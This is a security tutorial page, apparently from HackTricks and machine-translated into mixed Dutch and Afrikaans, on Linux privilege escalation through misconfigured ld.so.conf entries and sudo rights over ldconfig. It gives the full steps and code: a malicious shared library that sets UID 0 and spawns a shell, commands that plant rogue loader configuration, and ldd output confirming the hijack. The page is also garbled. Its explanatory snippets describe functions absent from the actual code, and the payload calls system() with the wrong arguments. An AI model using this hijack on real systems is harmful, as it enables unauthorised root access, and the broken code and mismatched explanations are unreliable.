ld.so privesc exploit example

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Andere manieren om HackTricks te ondersteunen:

Bereid de omgeving voor

In de volgende sectie vind je de code van de bestanden die we gaan gebruiken om de omgeving voor te bereiden

#include <stdio.h>
#include "libcustom.h"

int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}

Hierdie lêer definieer die funksies en strukture vir die libcustom biblioteek.

#ifndef LIBCUSTOM_H
#define LIBCUSTOM_H

#include <stdio.h>

// Funksie om 'n boodskap na die skerm te druk
void print_message(const char* message);

// Funksie om twee getalle op te tel
int add_numbers(int a, int b);

#endif /* LIBCUSTOM_H */
#include <stdio.h>

void vuln_func();

Hier is 'n voorbeeld van 'n eenvoudige C-program wat 'n aangepaste biblioteek, libcustom.so, gebruik:

#include <stdio.h>

void custom_function() {
    printf("Hierdie is 'n aangepaste funksie in die libcustom.so biblioteek.\n");
}

Hierdie program bevat 'n enkele funksie, custom_function(), wat 'n eenvoudige boodskap na die uitvoer skryf. Hierdie funksie sal gebruik word in die volgende voorbeeld om die priviligie-escalasie te demonstreer.

#include <stdio.h>

void vuln_func()
{
puts("Hi");
}
  1. Skep daardie lêers op jou rekenaar in dieselfde vouer

  2. Kompileer die biblioteek: gcc -shared -o libcustom.so -fPIC libcustom.c

  3. Kopieer libcustom.so na /usr/lib: sudo cp libcustom.so /usr/lib (root privs)

  4. Kompileer die uitvoerbare lêer: gcc sharedvuln.c -o sharedvuln -lcustom

Kontroleer die omgewing

Kontroleer dat libcustom.so vanaf /usr/lib gelaai word en dat jy die binêre lêer kan uitvoer.

$ ldd sharedvuln
linux-vdso.so.1 =>  (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)

$ ./sharedvuln
Welcome to my amazing application!
Hi

Uitbuiting

In hierdie scenario gaan ons aanneem dat iemand 'n kwesbare inskrywing geskep het binne 'n lêer in /etc/ld.so.conf/:

sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf

Die kwesbare gids is /home/ubuntu/lib (waar ons skryftoegang het). Laai die volgende kode af en stel dit saam binne daardie pad:

//gcc -shared -o libcustom.so -fPIC libcustom.c

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}

Nou dat ons die kwaadwillige libcustom-biblioteek binne die verkeerd gekonfigureerde pad geskep het, moet ons wag vir 'n herlaai of vir die root-gebruiker om ldconfig uit te voer (as jy hierdie binêre lêer as sudo kan uitvoer of as dit die suid-bit het, sal jy dit self kan uitvoer).

Sodra dit gebeur het, herkontroleer waar die sharevuln uitvoerbare lêer die libcustom.so-biblioteek laai vanaf:

$ldd sharedvuln
linux-vdso.so.1 =>  (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)

Soos u kan sien, laai dit dit vanaf /home/ubuntu/lib en as enige gebruiker dit uitvoer, sal 'n skulp uitgevoer word:

$ ./sharedvuln
Welcome to my amazing application!
I'm the bad library
$ whoami
ubuntu

Let wel dat ons in hierdie voorbeeld nie voorregte verhoog het nie, maar deur die opdragte wat uitgevoer word te wysig en te wag vir die root- of ander bevoorregte gebruiker om die kwesbare binêre lêer uit te voer, sal ons in staat wees om voorregte te verhoog.

Ander verkeerde konfigurasies - Dieselfde kwesbaarheid

In die vorige voorbeeld het ons 'n verkeerde konfigurasie vervals waar 'n administrateur 'n nie-bevoorregte vouer binne 'n konfigurasie-lêer binne /etc/ld.so.conf.d/ ingestel het. Maar daar is ander verkeerde konfigurasies wat dieselfde kwesbaarheid kan veroorsaak, as jy skryfregte het in 'n konfigurasie-lêer binne /etc/ld.so.conf.d, in die vouer /etc/ld.so.conf.d of in die lêer /etc/ld.so.conf, kan jy dieselfde kwesbaarheid konfigureer en uitbuit.

Uitbuiting 2

Stel dat jy sudo-voorregte het oor ldconfig. Jy kan ldconfig aandui waar om die konf-lêers vanaf te laai, sodat ons dit kan benut om ldconfig willekeurige vouers te laat laai. So, laat ons die lêers en vouers skep wat nodig is om "/tmp" te laai:

cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf

Nou, soos aangedui in die vorige uitbuit, skep die skadelike biblioteek binne /tmp. En uiteindelik, laai die pad en kyk waar die binêre lading die biblioteek vandaan:

ldconfig -f fake.ld.so.conf

ldd sharedvuln
linux-vdso.so.1 =>  (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)

Soos u kan sien, kan u dieselfde kwesbaarheid uitbuit deur sudo-voorregte oor ldconfig te hê.

Ek het nie 'n betroubare manier gevind om hierdie kwesbaarheid uit te buit as ldconfig gekonfigureer is met die suid-bit. Die volgende fout verskyn: /sbin/ldconfig.real: Kan nie tydelike kaslêer /etc/ld.so.cache~ skep nie: Toestemming geweier

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated